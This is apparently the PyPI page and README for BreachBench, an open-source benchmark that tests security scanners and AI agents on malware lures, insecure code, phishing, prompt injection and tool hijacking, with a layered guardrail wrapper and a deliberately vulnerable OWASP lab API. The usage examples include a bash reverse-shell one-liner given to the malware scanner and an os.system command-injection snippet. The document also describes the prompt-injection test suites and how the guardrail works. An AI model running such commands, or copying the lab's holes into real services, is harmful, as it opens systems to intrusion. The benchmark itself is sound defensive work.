Skip to main content

BreachBench

CI Python 3.9+

BreachBench is a solo, open-source AI-agent security benchmark by Tanushree Umathe. It measures how well scanners, agents, and models handle malware and supply-chain lures, insecure code (OWASP / CWE), phishing and BEC, prompt injection, and OWASP API Top 10 flaws. A 3-layer Guardrail Shield (L1 input pre-screen, L2 spotlighting of untrusted input, L3 output enforcement) can wrap agent evaluation against Ollama or OpenAI-compatible models. The project ships a CLI, a FastAPI service, evaluation corpora, an OWASP lab API, and a scenario walker.

Table of contents

See also CONTRIBUTING.md for development setup and pull-request process.

Quick Start

1. Prerequisites

  • Python 3.9 or newer (requires-python = ">=3.9"; CI runs 3.10, 3.11, and 3.12)
  • git and pip
  • On Debian/Ubuntu, python3 -m venv needs the python3-venv package (sudo apt install python3-venv)
  • Optional: a running Ollama daemon or an OpenAI-compatible API if you want live model evaluation

Confirm Python:

python3 --version

2. Clone the repository

git clone https://github.com/tu2090-ops/breachbench.git
cd breachbench

3. Create a virtual environment

python3 -m venv .venv
source .venv/bin/activate

On Windows: .venv\Scripts\activate

4. Install (editable, with test extras)

python -m pip install --upgrade pip
pip install -e ".[dev]"

This installs the breachbench console script and the runtime dependencies (fastapi, pydantic, uvicorn, httpx) plus pytest. You can also run python -m breachbench without the console script. After the first PyPI release, pip install breachbench will install the same package; until then, use this clone. The first published tag should be v1.3.1 (v1.3.0 already points at an older commit and must not be moved).

5. Run the tests

python -m unittest discover -s tests
pytest -v

Both commands execute tests/test_breachbench.py. CI runs them in that order.

6. First benchmark run

breachbench benchmark

This runs the full deterministic suites (phishing, prompt-injection canary, OWASP API surface, code, malware, and the offline agent evaluator) and writes:

  • results/latest_report.json
  • results/latest_report.md

No network model is required. Default flags are --llm-backend heuristic and output paths under results/.

Architecture

flowchart TD
  user["User"] --> cli["CLI"]
  user --> api["FastAPI"]
  cli --> core["Engine / scanners / agent eval"]
  api --> core
  core --> scanners["Code, malware, phishing scanners"]
  core --> surface["OWASP API analyzer"]
  core --> walker["Scenario walker"]
  core --> agent["Agent eval"]
  scanners --> results["Results JSON"]
  surface --> results
  walker --> results
  agent --> shield["Guardrail Shield"]
  shield --> l1["L1 Input pre-screen"]
  l1 --> l2["L2 Spotlight untrusted input"]
  l2 --> model["Ollama or OpenAI-compatible model"]
  model --> l3["L3 Output enforcement"]
  l3 --> scorer["Scoring"]
  scorer --> results

Unshielded eval-agent skips L1–L3 and sends the task prompt straight to the provider. --provider deterministic and --provider echo never call a network model.

Guardrail Shield

Passing --shield to eval-agent, or running compare-shield, enables breachbench/shield.py. The shield does not look up task IDs or grading keywords.

Layer Function What it does
L1 prescreen_input Scans the untrusted prompt and any embedded code, artifact, or email with scan_code_snippet, scan_malware_payload, score_phishing_email, plus regexes for malware-authoring requests and injection / tool-hijack markers.
L2 build_spotlighted_messages Wraps untrusted content in <untrusted_input_data> tags and injects pre-screen telemetry (CWEs, OWASP categories, malware indicators, injection warnings) into the system prompt.
L3 enforce_output_shield Redacts leaked canary tokens, blocks malware-authoring or unauthorized SSH deploy compliance, neutralizes forced clear / SAFE verdicts, and appends a BreachBench Shield findings section when the model omits detected issues.

Per-task shield_actions in JSON reports can include input_prescreen, prompt_spotlighting, output_canary_redacted, output_malware_request_blocked, output_tool_hijack_blocked, output_injection_neutralized, and output_findings_appended.

Shielded test-case flow

sequenceDiagram
  participant User
  participant CLI
  participant L1 as "L1 Input pre-screen"
  participant L2 as "L2 Spotlighting"
  participant Model as "Target model"
  participant L3 as "L3 Output enforcement"
  participant Scorer

  User->>CLI: "eval-agent --shield"
  CLI->>L1: "Untrusted prompt and artifacts"
  L1-->>CLI: "Prescreen verdict and telemetry"
  CLI->>L2: "Build spotlighted messages"
  L2->>Model: "System prompt plus tagged untrusted input"
  Model-->>L3: "Raw model response"
  L3-->>CLI: "Enforced response and shield_actions"
  CLI->>Scorer: "Grade against task criteria"
  Scorer-->>User: "Pass or fail plus JSON report"

CLI usage

Entry points: breachbench and python -m breachbench. Subcommands are required (breachbench --help).

scan-code

Scan a file or directory for OWASP / CWE issues (CWE-89, CWE-78, CWE-918, CWE-639, CWE-798, CWE-502 / CWE-94, CWE-22, CWE-327). Supported extensions include .py, .js, .ts, .tsx, .jsx, .sh, .rb, .go, .java.

Argument Description
path File or directory to scan
--json Print the full JSON report
breachbench scan-code samples/code/vulnerable_service.py
breachbench scan-code samples/code/safe_service.py
breachbench scan-code samples/code/ --json

scan-malware

Scan a file, directory, or inline payload for reverse shells, obfuscated execution, credential exfiltration, supply-chain hooks, high-risk lure filenames, and Unicode stealth markers.

Argument Description
path_or_payload Path or inline string. If the path does not exist, the value is treated as an inline payload.
--json Print the full JSON report
breachbench scan-malware samples/malware/suspicious_package.json
breachbench scan-malware samples/malware/benign_package.json
breachbench scan-malware "bash -i >& /dev/tcp/198.51.100.44/4444 0>&1"

eval-agent

Evaluate an agent on 15 tasks in three suites (5 each): malware_refusal_and_detection, code_vulnerability_detection, prompt_injection_and_tool_hijack. Exit code is 0 only when the overall pass rate is 100%.

Flag Default Description
--provider deterministic openai, ollama, echo, or deterministic
--model gpt-4.1-mini Model name. Deterministic reports breachbench-reference-defender-v1. Echo reports echo-weak-stub-v1 when the default model name is left unchanged.
--base-url unset OpenAI-compatible base URL
--api-mode chat chat (/chat/completions) or responses (/responses)
--suite all One suite name, or all
--shield off Enable the 3-layer Guardrail Shield
--out unset Write JSON to this path
--json off Print JSON to stdout
breachbench eval-agent --provider deterministic
breachbench eval-agent --provider echo --model echo-weak-stub-v1 --shield

compare-shield

Runs the same provider/model once unshielded and once with --shield, then prints a side-by-side table. Exit code is 0 only when the shielded pass rate is 100%.

Flag Default Description
--provider ollama Same choices as eval-agent
--model qwen2.5-coder:1.5b Model name
--base-url unset OpenAI-compatible base URL
--api-mode chat chat or responses
--suite all Suite filter
--out unset JSON report path
--md unset Markdown report path
--json off Print JSON to stdout
breachbench compare-shield \
  --provider echo \
  --model echo-weak-stub-v1 \
  --out /tmp/compare_echo.json \
  --md /tmp/compare_echo.md

benchmark

Full deterministic multi-domain run (no live LLM unless you change --llm-backend).

Flag Default Description
--out results/latest_report.json JSON report
--md results/latest_report.md Markdown report
--llm-backend heuristic heuristic, ollama, or hf (phishing enrichment only)
--llm-model qwen2.5-coder:7b Model id when the backend is not heuristic
breachbench benchmark --out results/latest_report.json --md results/latest_report.md

deploy-machines

See Multi-machine runner.

FastAPI service

Start the evaluation service (version 1.3.1 in app/main.py):

uvicorn app.main:app --host 127.0.0.1 --port 8001

Interactive docs are at http://127.0.0.1:8001/docs.

Method Path Body / query Purpose
GET /v1/health — Status, version, and capability list
POST /v1/code/scan {"code": "...", "filename": "<snippet>"} Scan a code snippet
POST /v1/malware/scan {"content": "...", "filename": "<payload>"} Scan a payload
POST /v1/agent/eval provider, model, optional base_url, api_mode, suite, shield Run the agent eval suite
POST /v1/phishing/score subject, body, optional sender fields, llm_backend, llm_model Score an email
POST /v1/surface/analyze optional openapi_spec or endpoints OWASP API Top 10 analyzer; empty body uses data/api_eval.json
GET /v1/scenarios — List the five multi-step scenarios
POST /v1/scenario/walk {"scenario_id": "SCEN-001"} or {} Walk one scenario or list all

Example:

curl -s http://127.0.0.1:8001/v1/health

curl -s -X POST http://127.0.0.1:8001/v1/code/scan \
  -H "Content-Type: application/json" \
  -d '{"code":"import os\nos.system(\"ping \" + host)","filename":"ping.py"}'

curl -s -X POST http://127.0.0.1:8001/v1/agent/eval \
  -H "Content-Type: application/json" \
  -d '{"provider":"deterministic","shield":true}'

POST /v1/agent/eval returns HTTP 400 if --provider openai is selected without OPENAI_API_KEY. POST /v1/scenario/walk returns HTTP 404 for an unknown scenario_id.

Running against Ollama and OpenAI-compatible models

Environment variables

Variable Used by Default
OLLAMA_OPENAI_URL eval-agent / compare-shield with --provider ollama http://127.0.0.1:11434/v1
OLLAMA_HOST benchmark --llm-backend ollama and phishing llm_backend=ollama http://127.0.0.1:11434 (native /api/chat)
OPENAI_API_KEY --provider openai required; missing key raises ValueError
OPENAI_BASE_URL --provider openai when --base-url is omitted https://api.openai.com/v1
HF_TOKEN benchmark --llm-backend hf optional; phishing enrichment only

--base-url on eval-agent and compare-shield overrides the env defaults. --api-mode chat posts to {base}/chat/completions; --api-mode responses posts to {base}/responses.

Without the Guardrail Shield

# Local Ollama, OpenAI-compatible /v1
breachbench eval-agent --provider ollama --model qwen2.5-coder:1.5b

# Custom Ollama / OpenAI-compatible host
export OLLAMA_OPENAI_URL="http://127.0.0.1:11434/v1"
breachbench eval-agent --provider ollama --model qwen2.5-coder:1.5b --base-url "$OLLAMA_OPENAI_URL"

# OpenAI or any OpenAI-compatible proxy
export OPENAI_API_KEY="sk-..."
breachbench eval-agent --provider openai --model gpt-4.1-mini

With the Guardrail Shield

breachbench eval-agent --provider ollama --model qwen2.5-coder:1.5b --shield

breachbench compare-shield \
  --provider ollama \
  --model qwen2.5-coder:1.5b \
  --out results/compare_shield.json \
  --md results/compare_shield.md

OPENAI_API_KEY="sk-..." breachbench eval-agent \
  --provider openai \
  --model gpt-4.1-mini \
  --shield

If Ollama is not running, eval-agent --provider ollama raises: Could not connect or timed out at ... Make sure Ollama is running or use --provider deterministic.

Test categories

Category How to run Corpus / sample Size
Malware and supply-chain scan-malware, benchmark, agent suite malware_refusal_and_detection data/malware_eval.json, samples/malware/ 12 artifacts; 5 agent tasks
Insecure code (OWASP / CWE) scan-code, benchmark, agent suite code_vulnerability_detection data/code_eval.json, samples/code/ 12 snippets; 5 agent tasks
Prompt injection and tool hijack eval-agent --suite prompt_injection_and_tool_hijack, phishing injection subset data/agent_eval_tasks.json, 2 rows in data/phishing_eval.jsonl 5 agent tasks; 2 canary cases
Phishing, BEC, MFA-fatigue POST /v1/phishing/score, benchmark data/phishing_eval.jsonl 30 emails
OWASP API Top 10 POST /v1/surface/analyze, benchmark data/api_eval.json 10 endpoints
Multi-step scenarios GET /v1/scenarios, POST /v1/scenario/walk data/scenarios_eval.json 5 scenarios (SCEN-001 … SCEN-005)
Agent eval (all suites) eval-agent, compare-shield data/agent_eval_tasks.json 15 tasks

Offline providers: deterministic is the CI reference defender; echo is a weak stub that complies with unsafe requests so you can measure shield lift without a GPU.

How to read results

CLI scanners print a human-readable table unless you pass --json. eval-agent prints per-suite pass rates and per-task PASS / FAIL. compare-shield prints unshielded vs shielded counts plus shield_actions.

JSON reports use these top-level fields (see checked-in snapshots):

File What it contains
results/latest_report.json Deterministic benchmark snapshot: phishing precision/recall/F1, injection resistance, API / code / malware metrics, agent pass rate, elapsed milliseconds
results/latest_report.md Markdown summary of the same run
results/compare_shield.json Side-by-side eval-agent for ollama / qwen2.5-coder:1.5b with and without --shield
results/compare_shield.md Markdown table of that comparison
results/ollama_qwen2.5_coder_1.5b_eval.json Unshielded eval-agent run for the same Ollama model

Checked-in snapshot figures (do not treat them as a live SLA; re-run to reproduce):

results/latest_report.json (llm_backend: heuristic, generated 2026-10-27):

Suite Samples / tasks Precision Recall F1 / pass rate False positive rate
Phishing, BEC and MFA-fatigue triage 30 100.00% 100.00% 100.00% 0.00%
Prompt injection and canary guard 2 — 100.00% resistance 2/2 neutralized, 0 canary leaks —
OWASP API Security Top 10 surface 10 100.00% 100.00% — 0 hardened false positives
Static code vulnerability scanner 12 100.00% 100.00% 100.00% 0.00%
Malware and supply-chain detector 12 100.00% 100.00% 100.00% 0.00%
AI agent security evaluation 15 — — 15/15 (100.00%) —

The same JSON also records phishing subtype_accuracy 0.6333 and top10_cause_accuracy 0.8333.

results/compare_shield.json (ollama, qwen2.5-coder:1.5b, generated 2026-10-28):

Suite Unshielded Shielded Delta
malware_refusal_and_detection 3/5 (60.00%) 5/5 (100.00%) +2 (+40.00%)
code_vulnerability_detection 1/5 (20.00%) 5/5 (100.00%) +4 (+80.00%)
prompt_injection_and_tool_hijack 0/5 (0.00%) 5/5 (100.00%) +5 (+100.00%)
Overall 4/15 (26.67%) 15/15 (100.00%) +11 (+73.33%)

results/ollama_qwen2.5_coder_1.5b_eval.json matches the unshielded column (4/15, 26.67%).

Project structure

breachbench/
├── app/main.py                 # FastAPI service
├── breachbench/
│   ├── cli.py                  # CLI subcommands
│   ├── engine.py               # Phishing, API analyzer, scenario walker
│   ├── code_scanner.py
│   ├── malware_scanner.py
│   ├── agent_eval.py
│   ├── shield.py               # L1 / L2 / L3 Guardrail Shield
│   └── multi_machine.py        # Permission-gated SSH runner
├── config/machines.example.json
├── data/                       # Eval corpora and JSON schemas
├── labs/vulnerable_api/        # Paired /vuln vs /hardened lab API
├── samples/code/               # vulnerable_service.py, safe_service.py
├── samples/malware/
├── results/                    # Checked-in JSON / Markdown snapshots
├── tests/test_breachbench.py
├── install.sh                  # Local or multi-machine installer with permission gate
├── pyproject.toml              # Package metadata, version 1.3.1
├── CONTRIBUTING.md
├── ETHICS.md
└── LICENSE

OWASP lab API

labs/vulnerable_api/app.py is a self-contained FastAPI lab with 10 /vuln/* routes and matching hardened counterparts, covering the same OWASP API Top 10 surface as data/api_eval.json (BOLA/IDOR, broken TOTP, mass assignment, unbounded transcription, broken function-level authorization, unauthenticated cron, SSRF egress, CORS/debug misconfiguration, legacy inventory, and prompt-injection summarization). Fixtures are in-memory only; transcription and egress routes never make live outbound calls.

uvicorn labs.vulnerable_api.app:app --host 127.0.0.1 --port 8002

Compare a missing-ownership read:

curl -s http://127.0.0.1:8002/vuln/notes/note-admin-1
curl -s -o /dev/null -w "%{http_code}\n" \
  -H "X-Account-Id: acct-member" \
  http://127.0.0.1:8002/hardened/notes/note-admin-1

Every /vuln/* path in data/api_eval.json is implemented, including /hardened/v1/data-export as the counterpart of /vuln/v0/legacy-data-dump. labs/vulnerable_api/openapi.json is the exported OpenAPI document for this app.

Multi-machine runner

breachbench deploy-machines never SSHes until you pass --confirm-permission (or type YES_I_HAVE_AUTHORIZATION at an interactive prompt) and the host has "authorized": true in the allowlist. Default allowlist: config/machines.example.json. Every attempt is appended to results/deployment_audit.jsonl (gitignored).

Flag Description
--machines Comma-separated user@host list (each host is treated as authorized)
--machines-file JSON allowlist path
--confirm-permission Non-interactive authorization
--execute Actually run SSH (default is dry-run)
--provider / --model Forwarded into the remote eval-agent command
--no-interactive Do not prompt on stdin

Dry-run against the example allowlist:

breachbench deploy-machines \
  --machines-file config/machines.example.json \
  --confirm-permission \
  --no-interactive

Copy the example file, set "authorized": true only on hosts you own or have written permission to test, then add --execute if you intend to run over SSH. See ETHICS.md.

./install.sh --local --confirm-permission runs python3 -m pip install -e . on this machine. Dry-run both modes without changing hosts:

./install.sh --local --confirm-permission --dry-run
./install.sh --multi-machine --confirm-permission --dry-run

--multi-machine --dry-run calls breachbench deploy-machines --confirm-permission --no-interactive and omits --execute. --multi-machine without --dry-run adds --execute.

Troubleshooting and FAQ

eval-agent --provider openai fails with OPENAI_API_KEY is required.
Set OPENAI_API_KEY, or use --provider deterministic for an offline run.

Ollama connection error.
Start Ollama and confirm the OpenAI-compatible base (OLLAMA_OPENAI_URL, default http://127.0.0.1:11434/v1). OLLAMA_HOST is a different endpoint: native /api/chat for phishing enrichment, default port 11434 without /v1.

eval-agent or compare-shield exits with code 1.
That means the (shielded, for compare-shield) pass rate was not 100%. JSON still prints if you passed --json / --out.

deploy-machines exits with code 2.
Permission was not confirmed. Pass --confirm-permission or run interactively.

Port 8001 already in use.
Choose another port: uvicorn app.main:app --host 127.0.0.1 --port 8003.

python3 -m venv .venv fails with ensurepip is not available.
On Debian/Ubuntu install the venv package first: sudo apt install python3.12-venv (or python3-venv).

Can I pip install breachbench from PyPI?
Clone and editable install (see Quick Start) is the supported path today. .github/workflows/release.yml publishes to PyPI with Trusted Publishing when a v* tag is pushed. After this package is first released, pip install breachbench will install version 1.3.1 or later. Cut that release with git tag v1.3.1 (do not move the existing v1.3.0 tag).

Does the shield call the model twice?
No. L1 and L2 run before the model; L3 inspects the single response. compare-shield is two full eval passes (unshielded then shielded).

Are the malware samples live payloads?
No. data/ and samples/ are synthetic, inert fixtures. See ETHICS.md.

Contributing

Development setup, how to add a corpus item or agent-eval task, code style, and pull-request process are in CONTRIBUTING.md. Follow ETHICS.md for defensive-use and multi-machine authorization rules.

Issues: github.com/tu2090-ops/breachbench/issues. Changelog: CHANGELOG.md.

License

MIT License — Copyright (c) 2026 Tanushree Umathe.

Metadata

Release files for breachbench 1.3.1

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for breachbench 1.3.1
File Size Uploaded Provenance Actions
breachbench-1.3.1.tar.gz 90.7 kB With provenance Details for breachbench-1.3.1.tar.gz

Built distribution (wheel)

Table of built distributions (wheels) for breachbench 1.3.1
File Interpreter ABI Platform Actions
breachbench-1.3.1-py3-none-any.whl Python 3 none any Details for breachbench-1.3.1-py3-none-any.whl

Total release size: 175.5 kB

Release files / breachbench-1.3.1.tar.gz

Download URL breachbench-1.3.1.tar.gz
Size 90.7 kB
Tags Source
SHA-256 checksum
How to use checksums
95e50f32ef9dd48b85e81ee7fac8963c52d50b02e3ac140d13719ad45a7d7fcf
BLAKE2b-256 checksum
How to use checksums
91aa13ad05c6fb30b47a6b442861776115cae3b58b78745965dbf2ea5af2e264
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/7.0.0 CPython/3.13.16

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Nov 13, 2026.

Transparency log

Release files / breachbench-1.3.1-py3-none-any.whl

Download URL breachbench-1.3.1-py3-none-any.whl
Size 84.8 kB
Tags Python 3
SHA-256 checksum
How to use checksums
38cca14d2034b69b184283786ddd5a662b6be703361f11d80a560eaf89bff00c
BLAKE2b-256 checksum
How to use checksums
8a20a0109e09b127bd131268ae19861219a90adf44c56da79d13c44650547e90
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/7.0.0 CPython/3.13.16

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Nov 13, 2026.

Transparency log

Security for breachbench 1.3.1

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

Full provenance

Both files in this release have been uploaded with provenance metadata.

Select from 2 files

Attestation for breachbench-1.3.1.tar.gz

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Nov 13, 2026.

Transparency log

A note on package security

PyPI is a repository for distributing packages, not a service for auditing them. While third-party security researchers and our staff do their best to detect and remove malicious packages, PyPI cannot guarantee the quality, security or suitability of any given package.

To learn more about protecting yourself from malicious actors, visit our package security documentation.

Release history Release notifications | RSS feed

This release

1.3.1 This release

2 release files Full provenance

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page